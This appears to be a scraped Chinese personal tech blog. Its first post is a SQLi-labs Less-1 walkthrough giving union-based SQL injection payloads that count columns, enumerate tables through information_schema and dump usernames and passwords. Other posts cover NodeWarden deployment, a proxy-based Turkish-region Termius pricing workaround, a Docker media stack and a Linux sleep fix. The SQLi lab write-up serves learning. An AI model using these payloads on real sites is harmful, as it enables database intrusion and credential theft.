人生实验室

Less-1：单引号字符型 SQL 注入

Fri, 03 Jul 2026 00:00:00 GMT

一、正常访问#

Less-1 初始页面

页面提示需要传入一个 id 参数：

1
http://192.168.1.17:8082/Less-1/?id=1

传入 id 参数后的页面

接着尝试在参数后面添加单引号，判断是否存在注入点：

1
http://192.168.1.17:8082/Less-1/?id=1'

单引号触发 SQL 报错

页面返回 SQL 报错，说明传入的单引号参与了后端 SQL 语句拼接。

SQL 报错信息

后续可以使用 --+ 注释掉后面的 SQL 语句，从而消除多余内容导致的语法错误。

二、判断查询字段数#

使用 order by 逐步判断当前查询语句的字段数：

1
http://192.168.1.17:8082/Less-1/?id=1' order by 1 --+
2
http://192.168.1.17:8082/Less-1/?id=1' order by 2 --+
3
http://192.168.1.17:8082/Less-1/?id=1' order by 3 --+
4
http://192.168.1.17:8082/Less-1/?id=1' order by 4 --+

当 order by 4 页面报错时，说明当前查询语句只有 3 个字段。

order by 4 报错

确认字段数后，再使用 union select 判断页面的回显位置：

1
http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,3 --+

union select 判断回显位置

从页面结果可以看到，第 2 列和第 3 列会回显到页面上。

三、查询数据库信息#

先使用 MySQL 自带的 database() 函数查询当前数据库名：

1
http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,database() --+

查询当前数据库名

再通过 information_schema.tables 查询 security 数据库中的表名：

1
http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

这里使用 group_concat() 将多个表名合并到同一列中，方便在页面回显位置查看。

查询 security 数据库中的表名

接下来以 users 表为例，查询该表中的字段名：

1
http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询 users 表字段名

可以看到，users 表中有 3 个字段，分别是 id、username、password。

最后根据字段名查询表中的数据：

1
http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(username,':',password) from users --+

查询 users 表数据

通过页面回显，可以获取 users 表中的用户名和密码数据。

NodeWarden：把你的密码库搬到 Cloudflare Workers 上，不要服务器

Mon, 29 Jun 2026 00:00:00 GMT

项目地址： github.com/shuaiplus/nodewarden 官方文档： nodewarden.app 在线 Demo： demo.nodewarden.app 本文转载参考了 小众软件 · NodeWarden 介绍与 NodeSeek 原帖，图片来自小众软件及项目官方。

密码管理器的自托管困局#

Bitwarden 是当下最好的开源密码管理器之一，但自托管它一直有个门槛——你需要一台服务器。

官方版 Bitwarden 吃资源，Docker 一套下来内存占用感人。Vaultwarden（前身 bitwarden_rs）用 Rust 重写，轻量多了，但你仍然需要一台 VPS，要配 SSL、做备份、盯着 uptime。

如果你说”我只是想自己管密码，不想为了一台密码服务器每个月多花 5 刀买 VPS”，那 NodeWarden 就是为你准备的。

NodeWarden 项目 Logo

NodeWarden 是什么？#

NodeWarden 是一个用 TypeScript 写的 Bitwarden 兼容服务端，跑在 Cloudflare Workers 上。你的密码数据存在 Cloudflare D1（全球分布式 SQLite），附件存在 R2 或 KV。

核心亮点一句话：不需要自己的服务器，Cloudflare 免费额度就够跑。

它和 Vaultwarden 有什么不同？#

对比项	Vaultwarden	NodeWarden
语言	Rust	TypeScript
部署方式	Docker / VPS	Cloudflare Workers
数据库	SQLite	Cloudflare D1（全球分布）
附件存储	本地磁盘	Cloudflare R2 / KV
SSL 配置	自己配反向代理	Cloudflare 自动处理
维护	手动更新 + 备份	Fork 同步上游
成本	VPS 月费	Cloudflare 免费额度
密码同步	✅	✅
PWA 离线查看	❌	✅
云端自动备份	❌	✅

最大的区别：Vaultwarden 要求你有一台持续在线的服务器（VPS、树莓派、NAS 都行），NodeWarden 不需要——你的密码库跑在全球 330 个 Cloudflare 边缘节点上。

功能概览#

目前 NodeWarden 已经实现了 Bitwarden 的大多数核心功能：

密码管理

✅ 登录、笔记、卡片、身份信息加密存储
✅ 文件夹 / 收藏 / 标签
✅ TOTP 动态验证码（含 Steam TOTP）
✅ 密码重复检测
✅ 密码提示（网页端直接查看，无需邮件）

附件与文件传输

✅ 附件上传/下载（R2 模式单文件上限 100MB，KV 模式 25MB）
✅ 流式上传 + 进度显示
✅ Send（文本/文件临时分享）

设备与客户端

✅ 全量同步 /api/sync（兼容官方客户端）
✅ Windows / macOS / Linux 桌面端
✅ Android / iOS 手机端
✅ 浏览器扩展（Chrome、Firefox、Edge 等）
✅ PWA 渐进式 Web 应用——可安装到桌面、离线查看密码库

特色功能（Bitwarden 官方没有的）

✅ 云端备份中心：支持 WebDAV / S3 定时备份，加密传输，自动清理旧备份
✅ PWA 离线访问：Service Worker 缓存 + 后台解密，没网也能看密码
✅ Passkey 无密码登录：指纹 / Face ID 直接解锁密码库
✅ 邀请码注册：支持多用户（家庭成员共享密码库）

暂不支持

❌ 组织 / 集合 / 权限管理（面向个人和家庭使用）
❌ SSO / SCIM / 企业目录
❌ 官方 2FA（有用户级 TOTP）

架构怎么跑的？#

NodeWarden 用了 Cloudflare 全家桶：

1
用户请求 → Cloudflare Workers（处理 API + 提供 Web 页面）
2
                              ├── D1（结构化数据 — 密码、账号、配置）
3
                              ├── R2（附件、Send 文件）
4
                              └── Durable Object（实时同步通知）

Workers：处理所有 HTTP 请求和 API 路由，同时托管 Web Vault 静态页面
D1：全球分布的 SQLite 数据库，存密码库结构化数据
R2：对象存储，存附件和 Send 文件（兼容 S3 API）
Durable Object：实现实时同步推送，设备变动立刻通知

这个组合的好处是：所有组件都是全球分布的，无论你在哪个国家访问，延迟都很低。

一键部署教程#

NodeWarden 的部署可以说是目前所有自托管密码方案里最简单的。不需要命令行，不需要 SSH，不需要 Docker 知识。

前置条件#

一个 GitHub 账号
一个 Cloudflare 账号（需要绑卡，但 R2 免费 10GB 基本用不完）

部署步骤#

第一步：Fork 仓库

打开 github.com/shuaiplus/nodewarden，点击右上角的 Fork。

Fork NodeWarden 仓库到自己的 GitHub

第二步：连接 Cloudflare Workers

Cloudflare Workers 部署配置页面

第三步：配置构建参数

构建命令填 npm run build，部署命令填 npm run deploy。

如果你想省掉绑卡这一步，把部署命令改成 npm run deploy:kv 用 KV 模式，免费额度 1GB，单文件上限 25MB。

CF 部署按钮

第四步：添加 JWT_SECRET

部署完成后，打开生成的 Workers 域名，如果提示缺少 JWT_SECRET，到 Worker 设置的「环境变量」中添加一个至少 32 位的随机字符串（可以用 openssl rand -hex 32 生成）。

第五步：注册管理员账号

首次访问 Workers 域名会自动进入设置页面，按提示填写管理员邮箱和主密码即可。

NodeWarden 设置页面

第六步：完成！

设置完成后会显示成功页面，你可以选择隐藏设置入口（推荐）。

部署完成页面

在客户端登录#

在 Bitwarden 官方客户端中，选择「自托管」登录方式，填入你的 Workers 域名作为服务器 URL：

手机端登录 NodeWarden

登录后就可以正常使用了，所有的密码同步、自动填充、TOTP 验证码全部正常：

手机端密码库界面

密码详情页面

更新方法#

NodeWarden 的更新也很省心：

手动更新：在 GitHub 上点 Sync fork → Update branch，Cloudflare 自动重新部署
自动更新：在 Actions 页面启用 Sync upstream 工作流，每天凌晨 3 点自动同步上游

适合谁用？#

NodeWarden 最适合这几类人：

不想买 VPS 的自托管爱好者 — Cloudflare 免费额度够用
Bitwarden 免费版用户 — 解锁 TOTP、附件支持等高级功能
Vaultwarden 用户觉得维护太累的 — 换 NodeWarden 几乎零维护
家庭密码共享 — 邀请码注册，全家用一个密码库

不适合的场景：企业组织、需要细粒度权限管理的团队。

安全性怎么样？#

NodeWarden 继承了 Bitwarden 的 端到端加密（E2EE） 架构：

所有密码在你设备上用主密钥加密后才上传
Cloudflare Workers 服务器只能看到加密后的密文
开发者 shuaiplus 明确声明看不到任何用户的密码

另外项目近期刚发布了 v1.7.1 安全加固更新，修复了多项安全漏洞，并会在发现问题的第一时间修复。

⚠️ 任何自托管服务都建议：定期备份（NodeWarden 自带云端备份功能），保管好主密码。

写在最后#

NodeWarden 在 2 个月内从零涨到 2.9k Stars，社区反响热烈，原因很简单——它切中了一个真实需求：我只是想要一个密码管理器，不想为此租一台服务器。

Cloudflare Workers 作为运行平台，把自托管的门槛降到了前所未有的低——不需要 Linux 基础，不需要 Docker 知识，Fork → 连 CF → 等几分钟就完了。

如果你之前因为”懒得折腾服务器”而放弃了自托管密码管理器，现在可以试试 NodeWarden。

参考来源：

Termius 土耳其区订阅攻略：一年仅需 20 元

Mon, 29 Jun 2026 00:00:00 GMT

原帖来源： NodeSeek 论坛 · 保姆级教程 — 感谢原作者 Lite 的两周踩坑经验
本文转载自 NodeSeek，已获得原作者授权，对内容进行了整理和补充。

为什么要搞土区？#

Termius 是跨平台 SSH 客户端里的明星产品，界面美观、支持 SFTP、同步配置、团队协作。但它的 Premium 定价实在不便宜——个人版 $79.99/年，合人民币快 600 块。

好在微软商店存在区域定价差异：土耳其里拉近几年的贬值让土区的软件定价对标本地购买力异常便宜。Termius 土区订阅只要 ₺85/年，算下来大概 20 块钱，是原价的 3%。

这不是盗版、不是破解，是合规的跨区购买。微软官方允许账号在注册地购买当地定价的商品，只要你注册时选的是土耳其。

准备工作#

动手之前，先把这些东西准备好：

土耳其 VPN / 代理 — IP 越干净越好，推荐专线节点
迅游加速器 — 免费加速微软商店兑换
土耳其礼品卡 — 淘宝搜”土耳其微软礼品卡”
Termius 9.12.0.0 安装包 — 最关键的一步，新版已修复土区定价
AppContainer Loopback Utility — 解除 Windows App 网络回环限制
Windows 10+ 电脑 — 精简版系统也可以操作

为什么一定要老版本？ Termius 后续版本修改了订阅逻辑，新版本已经看不到 ₺85 的土区定价了。9.12.0.0 是最后一个正常显示土区价格的版本。

第一步：注册微软土耳其区账号#

这一步必须全程开土耳其代理。 IP 越干净越好，不容易被风控。

访问微软账号注册页面
推荐用「Get a new email address」新建一个 Outlook 邮箱
正常填写信息走注册流程

注册页面，建议新建 Outlook 邮箱

⚠️ 关键检查点： 在生日选择页面，看一下右下角的「国家/地区」是不是默认显示 Turkey（土耳其）。如果不是，说明你的代理 IP 被识别到了其他国家，需要换一个土耳其节点重新来。生日随便选，满 18 岁就行。

确保国家/地区显示 Turkey

第二步：修改系统时区和地区#

Windows 的时区和地区设置需要对齐到土耳其，不然微软商店可能不认：

时区： 设置为 UTC+3 — 伊斯坦布尔（Istanbul）
地区： 设置为土耳其（Turkey）

设置路径：Windows 设置 → 时间和语言 → 区域

时区设置为 UTC+03:00 伊斯坦布尔

第三步：通过迅游加速器兑换礼品卡#

这一步要关掉土耳其代理，改用迅游加速器。

打开迅游加速器，正常登录（不用买会员，微软商店加速是免费的）
选择「土耳其」兑换区服，点击「微软商店」下载加速
加速成功后打开微软商店，确认右上角货币符号显示 ₺（土耳其里拉）
在右上角菜单中点击「兑换礼品卡」
输入你买的土耳其礼品卡，确认地区显示为土耳其

加速成功后微软商店会自动切换到土耳其区，这时候你能看到各种软件都标着里拉价格：

微软商店切换到土耳其区后的界面

土耳其区商店内的游戏和应用定价

💡 如果你的系统是精简版，或者商店曾经出现过异常，务必走这一步，否则后面订阅时可能弹不出付款窗口。

兑换礼品卡的页面：

兑换礼品卡界面

第四步：安装老版本 Termius#

把电脑上已有的 Termius 彻底卸载干净。

然后双击下载好的 Termius 9.12.0.0.appx 直接安装。

🛠️ 如果双击报错，用管理员权限打开 PowerShell 或 Windows 终端，执行：
Terminal window
1
Add-AppxPackage -Path "D:\下载\Termius_9.12.0.0.appx"
把路径替换为你的实际下载位置。

通过 PowerShell 管理员模式安装

第五步：订阅兑换（最关键的一步）#

这一步又要打开土耳其代理了，而且要开全局模式。 迅游加速器可以关掉。

打开 AppContainer Loopback Utility
点击 “Exempt All” 按钮，然后最小化窗口（不用关）

AppContainer Loopback Utility — 点击 Exempt All

打开 Termius，登录你的微软土区账号
点击右上角的 “Upgrade Now”
正常情况下你会看到 ₺85/Year 的价格——也就是 20 块钱一年

Termius 显示 ₺85/年 — 关键！

点击购买，走正常付款流程
如果需要填地址，用土耳其地址生成器生成一个就行

订阅成功确认页面

⚠️ 如果出现风控提示： 说明微软的风控系统认定你的账号有跨区嫌疑。不要慌，等 7 天，之后再重复上面的兑换步骤就能成功。

订阅成功之后#

兑换完成后，Termius Premium 的权益：

✅ 无限设备同步（跨 Windows / macOS / iOS / Android）
✅ SFTP 文件传输
✅ 端口转发（Local / Remote / Dynamic）
✅ 分组管理 + 标签
✅ 剪贴板同步
✅ 主题自定义

常见问题#

Q：土区账号会影响我现有的微软服务吗？ A：不影响。你可以在同一个微软账号下享用土区的廉价订阅，OneDrive、Office 等都不受影响。

Q：订阅会自动续费吗？ A：是的，到期会自动续费。建议在礼品卡余额充足的状态下保持订阅，或者到期前手动再买一张礼品卡充进去。

Q：会不会被封号？ A：微软对跨区购买执行的是「风控拦截 + 不禁用」策略——被检测到了最多是购买失败，不会封号。只要你不是用盗刷的礼品卡，纯粹是跨区购买，安全系数很高。

Q：Mac 上能用吗？ A：Termius 本身支持 Mac，但土区订阅兑换流程需要 Windows + 微软商店操作。成功后登录你的账号，Mac 端自动同步 Premium 状态。

本文转载自 NodeSeek 论坛 @Lite 的教程，原作者耗时两周踩坑总结，在此致谢。

家庭媒体中心全家桶部署教程：CD2 + Emby + Symedia + Redia

Sun, 28 Jun 2026 00:00:00 GMT

基于 Docker Compose 部署，每个服务独立一个 compose 文件
链路：115网盘 → CD2 挂载 → Symedia 生成 strm → Emby 海报墙 → Redia 302 直链

整体架构#

1
115网盘/阿里云盘/百度网盘
2
       │
3
       ▼
4
CloudDrive2 ─── 网盘挂载本地（端口 19798）
5
       │
6
       ▼
7
Symedia ─── 监控网盘 + 生成 .strm + 刮削归档（端口 8095）
8
       │
9
       ▼
10
Emby ─── 媒体库管理 + 海报墙（端口 8096）
11
       │
12
       ▼
13
Redia ─── 302 直链反向代理（端口 9025）
14
       │
15
       ▼
16
用户播放

展开收起

前置准备#

Docker Engine 24+（含 Compose V2 插件）
Linux 服务器或 NAS（建议 4G+ 内存）
115 网盘会员（或阿里云盘、123 云盘）
Symedia 激活码（必购）
Redia 激活码

目录结构#

Terminal window

1
mkdir -p /volume1/docker/clouddrive2/config
2
mkdir -p /volume1/docker/emby/config
3
mkdir -p /volume1/docker/symedia/config
4
mkdir -p /volume1/docker/symedia/playwright
5
mkdir -p /volume1/docker/redia/config
6
mkdir -p /volume1/CloudNAS
7
mkdir -p /volume1/media

/volume1 是 NAS 主存储路径，Linux 服务器可改用 /opt

一、CloudDrive2 — 云盘挂载服务#

docker-compose.yml#

创建 /volume1/docker/clouddrive2/docker-compose.yml：

1
services:
2
  clouddrive2:
3
    container_name: clouddrive2
4
    image: cloudnas/clouddrive2-unstable:latest
5
    restart: always
6
    network_mode: "host"
7
    pid: "host"
8
    privileged: true
9
    devices:
10
      - /dev/fuse:/dev/fuse
11
    environment:
12
      - CLOUDDRIVE_HOME=/Config
13
      - ENABLE_RUN_AFTER_START=true
14
    volumes:
15
      - /volume1/CloudNAS:/CloudNAS:shared
16
      - /volume1/docker/clouddrive2/config:/Config

展开收起

启动和配置#

Terminal window

1
cd /volume1/docker/clouddrive2
2
docker compose up -d

访问 http://服务器IP:19798

设置管理密码
左侧云盘 → 绑定 115 或其他网盘
挂载到本地：挂载点选 /CloudNAS

注意： 挂载路径前建议加一层目录，如 /CloudNAS/CloudDrive/115。这样 CD2 掉盘恢复后不需要重启其他容器。

💡 挂载失败则执行：sudo mount --make-shared /volume1
飞牛系统需先配置 Docker MountFlags=shared

二、Emby — 媒体库管理#

docker-compose.yml#

创建 /volume1/docker/emby/docker-compose.yml：

1
services:
2
  emby:
3
    container_name: emby
4
    image: linuxserver/emby:4.8.11
5
    restart: always
6
    network_mode: bridge
7
    privileged: true
8
    devices:
9
      - /dev/dri:/dev/dri
10
    ports:
11
      - "8096:8096"
12
    environment:
13
      - PUID=0
14
      - PGID=0
15
    volumes:
16
      - /volume1/docker/emby/config:/config
17
      # 以下路径必须与 Symedia 完全一致
18
      - /volume1/CloudNAS:/CloudNAS:rslave
19
      - /volume1/media:/media

展开收起

飞牛用户将 rslave 改为 rshared

启动和配置#

Terminal window

1
cd /volume1/docker/emby
2
docker compose up -d

访问 http://服务器IP:8096

语言选简体中文
创建管理员账号
添加媒体库 → 文件夹 /media → 元数据语言 Chinese

获取 API Key： Emby → 设置 → 高级 → API 密钥 → 生成（Symedia 联动需要）

三、Symedia（Dockter）— 智能媒体库管家#

docker-compose.yml#

创建 /volume1/docker/symedia/docker-compose.yml：

1
services:
2
  symedia:
3
    container_name: symedia
4
    image: shenxianmq/symedia:latest
5
    # ARM 架构: shenxianmq/symedia_arm64:latest
6
    restart: always
7
    network_mode: "host"
8
    ports:
9
      - "8095:8095"
10
    environment:
11
      - TZ=Asia/Shanghai
12
      - LICENSE_KEY=你的激活码
13
      - SA_2FA=true
14
    volumes:
15
      - /var/run/docker.sock:/var/run/docker.sock:ro
16
      - /volume1/docker/symedia/config:/app/config
17
      - /volume1/docker/symedia/playwright:/symedia/.cache/ms-playwright
18
      - /volume1/CloudNAS:/CloudNAS:rslave
19
      - /volume1/media:/media

展开收起

启动和登录#

Terminal window

1
cd /volume1/docker/symedia
2
docker compose up -d

访问 http://服务器IP:8095 | 账号 admin | 密码 password

配置步骤#

步骤 1：全局设置#

设置 → 全局设置

全局设置

云盘根目录：/CloudNAS/CloudDrive
链接同步间隔：按需设置
TMDB API 域名：api.themoviedb.org
TMDB 图片域名：image.tmdb.org
建议开启调试模式（方便排错）

步骤 2：配置 CD2 助手#

插件 → CloudDrive2 助手

CD2助手基本配置

CD2 IP：CD2 所在地址（不要加 http://）
端口：19798
用户名 / 密码：填入 CD2 登录信息
根目录：/CloudNAS/CloudDrive
监听目录：如 /115open/emby
开启”监听文件变化事件”

点击 刷新令牌 → 保存配置

步骤 3：添加链接同步（生成 strm 文件）#

链接同步 → 添加同步

源路径：/CloudNAS/CloudDrive/115/你的影视文件夹
目标路径：/media
文件格式：选择 strm

开始同步后，Symedia 会扫描网盘中的视频文件，在 /media 下生成对应的 .strm 文件。

步骤 4：配置 EmbyServer 联动#

插件 → EmbyServer

Emby 地址：http://服务器IP:8096
API Key：填入上一步生成的密钥

保存后，Symedia 会自动通知 Emby 扫描新生成的 strm 文件。

步骤 5：配置 Webhook（CD2 会员功能）#

设置 → Webhook

填入 CD2 地址后，网盘新增文件会自动触发 strm 生成，无需手动同步。

步骤 6：配置通知#

设置 → 通知

通知配置

配置 Telegram Bot：

Telegram 搜索 @BotFather → /newbot → 创建机器人 → 保存 API Token
搜索 @getidsbot → /about → 获取你的 User ID
在 Symedia 通知设置填入 API Token 和 User ID
开启需要的通知开关 → 保存并测试

步骤 7：安装神医插件（StrmAssistant）#

前往 StrmAssistant Releases 下载插件，放入 Emby 的 plugins 文件夹，重启 Emby。

神医插件安装

重启后在 Emby 设置中出现”神医助手”即成功。

神医插件设置

推荐开启”提取视频信息”功能，这能显著加快 Strm 文件的起播速度。

步骤 8：配置刮削归档#

归档 → 归档刮削

设置刮削源（TMDB）
开启实时监控
配置归档目录结构

步骤 9：进阶配置#

聚合搜索： 搜索 → 设置 → 填入 Telegram 频道 ID

聚合搜索配置

网盘转存： 插件 → 对应网盘助手 → 填入 cid（文件夹 ID）

网盘转存配置

配置后，发送网盘分享链接给 Telegram Bot 即可自动转存。

四、Redia — 302 直链反向代理#

docker-compose.yml#

创建 /volume1/docker/redia/docker-compose.yml：

1
services:
2
  redia:
3
    container_name: redia
4
    image: shenxianmq/redia:latest
5
    # ARM: shenxianmq/redia_arm64:latest
6
    restart: always
7
    network_mode: "host"
8
    environment:
9
      - LICENSE_KEY=你的Redia密钥
10
    volumes:
11
      - /var/run/docker.sock:/var/run/docker.sock:ro
12
      - /volume1/docker/redia/config:/app/config

启动和配置#

Terminal window

1
cd /volume1/docker/redia
2
docker compose up -d

访问 http://服务器IP:9025 | 账号 admin | 密码 password

步骤 1：配置云盘助手#

反向代理 → 云盘助手 → 添加 115，配置名称填 115

配置云盘助手

步骤 2：填入 115 配置#

115配置示例

步骤 3：配置 Emby 服务器路径替换#

反向代理 → 媒体服务器 → Emby 服务器

路径替换是 Redia 的核心功能，将 strm 中的网盘路径映射到云盘助手名称：

Terminal window

1
/CloudNAS/CloudDrive/115 => 115
2
/CloudNAS/CloudDrive/123云盘 => 123
3
/CloudNAS/CloudDrive/天翼云盘 => 天翼云盘

Emby服务器配置

路径替换示例

步骤 4：保存并启用#

Emby配置完成

启用服务器 → 保存配置

部署顺序总结#

1
1. 安装 Symedia 容器
2
2. 全局设置（TMDB、云盘根目录）
3
3. CD2 助手（刷新令牌）
4
4. 链接同步（生成 strm）
5
5. EmbyServer 联动
6
6. Webhook（实时监控）
7
7. 通知渠道（Telegram）
8
8. 神医插件（加速播放）
9
9. 刮削归档
10
10. 进阶：聚合搜索 + 网盘转存

运维命令#

Terminal window展开收起

1
# 各服务独立管理
2
cd /volume1/docker/clouddrive2 && docker compose logs -f
3
cd /volume1/docker/emby && docker compose restart
4
cd /volume1/docker/symedia && docker compose pull && docker compose up -d
5
cd /volume1/docker/redia && docker compose down
6

7
# 所有容器状态
8
docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"
9

10
# 更新全部
11
for dir in clouddrive2 emby symedia redia; do
12
  cd /volume1/docker/$dir && docker compose pull && docker compose up -d
13
done
14

15
# 备份配置
16
tar -czf /backup/media-stack-$(date +%Y%m%d).tar.gz /volume1/docker/*/config

展开收起

FAQ#

CD2 挂载失败？
sudo mount --make-shared /volume1

Emby 扫不到媒体？
确认 Symedia 和 Emby 的 /CloudNAS、/media 路径映射完全一致

CD2 掉盘后恢复不了？
挂载路径前加一层目录，如 /CloudNAS/CloudDrive/115

115 429 限流？
CD2 → 115 设置 → MaxQueriesPerSecond 改为 1

Strm 起播慢？
安装神医插件，开启”提取视频信息”

端口表：

服务	端口
CloudDrive2	19798
Emby	8096
Symedia	8095
Redia	9025

参考链接：

机械革命蛟龙16K 睡眠无法唤醒修复教程

Sun, 07 Jun 2026 00:00:00 GMT

适用机型: 机械革命蛟龙16K (GM6BG0Q)
系统: Arch Linux (Kernel 7.0.11) + KDE Plasma Wayland
日期: 2026-06-07

问题现象#

合盖或手动触发睡眠后，电脑无法唤醒——按键盘、鼠标、电源键均无反应，屏幕黑屏，只能长按电源键强制关机。

根因分析#

发现	说明
睡眠模式	仅支持 `s2idle`（无 S3 deep sleep），这是 AMD 现代笔记本的常见情况
独显错误	NVIDIA RTX 4060 在 PCIe 总线上产生大量 `Correctable Error (BadTLP)`，链路从 16 GT/s x8 降速到 2.5 GT/s
无 D3cold	GPU 不支持 D3cold 深度断电，s2idle 时处于半死不活的状态
唤醒死锁	内核日志显示进入 `suspend entry (s2idle)` 后永无 `suspend exit`——系统在睡眠中被 GPU/PCIe 卡死
BIOS 老旧	N.1.19MRO15 (2023-06-29)，ACPI 存在已知 bug

核心问题：NVIDIA 独显的电源管理与 s2idle 不兼容，导致进入睡眠后 PCIe 设备响应异常，整个系统死锁。

修复方案 A：添加内核参数（推荐先试）#

新增的内核参数说明#

参数	作用
`pci=noaer`	禁用 PCIe AER（高级错误报告），抑制独显的 Correctable Error 洪流，防止这些错误干扰睡眠流程
`nvidia.NVreg_EnableS0ixPowerManagement=1`	启用 NVIDIA 驱动的 S0ix 低功耗睡眠支持
`nvidia.NVreg_RegistryDwords=EnableForceP2PowerState:1`	强制独显闲时进入 P2 低功耗状态
`pcie_aspm.policy=powersupersave`	激进 PCIe ASPM 省电策略，让总线在睡眠时更快降功耗

操作步骤#

第 1 步：备份原始内核参数#

Terminal window

1
sudo cp /etc/kernel/cmdline /etc/kernel/cmdline.bak

第 2 步：修改内核命令行#

Terminal window

1
sudo nano /etc/kernel/cmdline

将内容改为（保持在一行内）：

1
root=PARTUUID=27bc96c3-b253-45c5-89fa-c70b65f35908 zswap.enabled=0 rootflags=subvol=@ rw rootfstype=btrfs pci=noaer nvidia.NVreg_EnableS0ixPowerManagement=1 nvidia.NVreg_RegistryDwords=EnableForceP2PowerState:1 pcie_aspm.policy=powersupersave

第 3 步：重建 UKI（Unified Kernel Image）#

Terminal window

1
sudo mkinitcpio -P

这一步会把新的内核命令行打包进 /boot/EFI/Linux/arch-linux.efi。

⚠️ 你的系统使用 UKI 启动（非传统 GRUB cmdline），所以必须重建 UKI 才能生效。仅改 GRUB 配置是无用的。

第 4 步：重启#

Terminal window

1
sudo reboot

第 5 步：验证参数是否生效#

重启后运行：

Terminal window

1
cat /proc/cmdline

确认输出中包含 pci=noaer nvidia.NVreg_EnableS0ixPowerManagement=1 等新增参数。

第 6 步：测试睡眠#

保存所有工作
合上笔记本盖子
等待 30 秒 - 1 分钟
按电源键或翻开盖子
观察能否唤醒

恢复方法#

如果系统无法启动或出现新问题，在 GRUB 菜单中按 e 临时删掉新增参数即可进入系统，然后：

Terminal window

1
sudo cp /etc/kernel/cmdline.bak /etc/kernel/cmdline
2
sudo mkinitcpio -P
3
sudo reboot

备选方案（如果方案 A 无效）#

方案 B：切换到纯核显模式#

如果参数调整无效，说明 NVIDIA 驱动在 s2idle 下本身就有问题。此时最稳定的做法是禁用独显：

Terminal window

1
# 安装 GPU 切换工具
2
yay -S envycontrol
3

4
# 切换到核显（AMD Radeon 680M）
5
sudo envycontrol -s integrated
6

7
# 重启
8
sudo reboot

切换到核显后，日常办公、看视频、写代码完全够用。需要独显性能时再切回来：

Terminal window

1
sudo envycontrol -s hybrid
2
sudo reboot

方案 C：检查 BIOS 更新#

访问机械革命官网或对应 ODM（同方国际）的下载页，看是否有新版 BIOS 可用。在搜索框中输入 “GM6BG0Q” 或 “蛟龙16K”。

方案 D：升级 NVIDIA 驱动到 Beta 版#

Arch 的 nvidia-580xx-dkms 是稳定版，有时 Beta 版（如 585+）会修复 S0ix 相关 bug：

Terminal window

1
yay -S nvidia-beta-dkms

文件	说明
`/etc/kernel/cmdline`	内核启动参数（UKI 在这里读取）
`/boot/EFI/Linux/arch-linux.efi`	生成的 Unified Kernel Image
`/etc/mkinitcpio.d/linux.preset`	UKI 生成预设配置
`/proc/cmdline`	当前生效的内核参数（只读）
`/etc/default/grub`	GRUB 配置文件（UKI 模式下此文件对内核参数无效）
`/sys/power/mem_sleep`	查看可用睡眠模式

欢迎来到人生实验室

Mon, 01 Jun 2026 00:00:00 GMT

👋 欢迎#

欢迎来到我的博客 人生实验室！

这是我使用 Firefly 主题搭建的个人博客。

🚀 关于这个博客#

这个博客基于 Astro 框架构建，使用了 Firefly 主题模板。我会在这里分享：

技术学习笔记
项目开发经验
生活感悟
其他有趣的内容

📝 技术栈#

框架: Astro
主题: Firefly
部署: GitHub Pages
包管理: pnpm

🎯 下一步#

接下来我会：

完善博客内容
添加更多文章
自定义主题样式
持续优化体验

感谢你的访问！🌟

人生实验室

Less-1：单引号字符型 SQL 注入

一、正常访问#

二、判断查询字段数#

三、查询数据库信息#

NodeWarden：把你的密码库搬到 Cloudflare Workers 上，不要服务器

密码管理器的自托管困局#

NodeWarden 是什么？#

它和 Vaultwarden 有什么不同？#

功能概览#

架构怎么跑的？#

一键部署教程#

前置条件#

部署步骤#

在客户端登录#

更新方法#

适合谁用？#

安全性怎么样？#

写在最后#

Termius 土耳其区订阅攻略：一年仅需 20 元

为什么要搞土区？#

准备工作#

第一步：注册微软土耳其区账号#

第二步：修改系统时区和地区#

第三步：通过迅游加速器兑换礼品卡#

第四步：安装老版本 Termius#

第五步：订阅兑换（最关键的一步）#

订阅成功之后#

常见问题#

家庭媒体中心全家桶部署教程：CD2 + Emby + Symedia + Redia

整体架构#

前置准备#

目录结构#

一、CloudDrive2 — 云盘挂载服务#

docker-compose.yml#

启动和配置#

二、Emby — 媒体库管理#

docker-compose.yml#

启动和配置#

三、Symedia（Dockter）— 智能媒体库管家#

docker-compose.yml#

启动和登录#

配置步骤#

步骤 1：全局设置#

步骤 2：配置 CD2 助手#

步骤 3：添加链接同步（生成 strm 文件）#

步骤 4：配置 EmbyServer 联动#

步骤 5：配置 Webhook（CD2 会员功能）#

步骤 6：配置通知#

步骤 7：安装神医插件（StrmAssistant）#

步骤 8：配置刮削归档#

步骤 9：进阶配置#

四、Redia — 302 直链反向代理#

docker-compose.yml#

启动和配置#

步骤 1：配置云盘助手#

步骤 2：填入 115 配置#

步骤 3：配置 Emby 服务器路径替换#

步骤 4：保存并启用#

部署顺序总结#

运维命令#

FAQ#

机械革命蛟龙16K 睡眠无法唤醒修复教程

问题现象#

根因分析#

修复方案 A：添加内核参数（推荐先试）#

新增的内核参数说明#

操作步骤#

第 1 步：备份原始内核参数#

第 2 步：修改内核命令行#

第 3 步：重建 UKI（Unified Kernel Image）#

第 4 步：重启#

第 5 步：验证参数是否生效#

第 6 步：测试睡眠#

恢复方法#

备选方案（如果方案 A 无效）#

方案 B：切换到纯核显模式#

方案 C：检查 BIOS 更新#

方案 D：升级 NVIDIA 驱动到 Beta 版#

相关文件索引#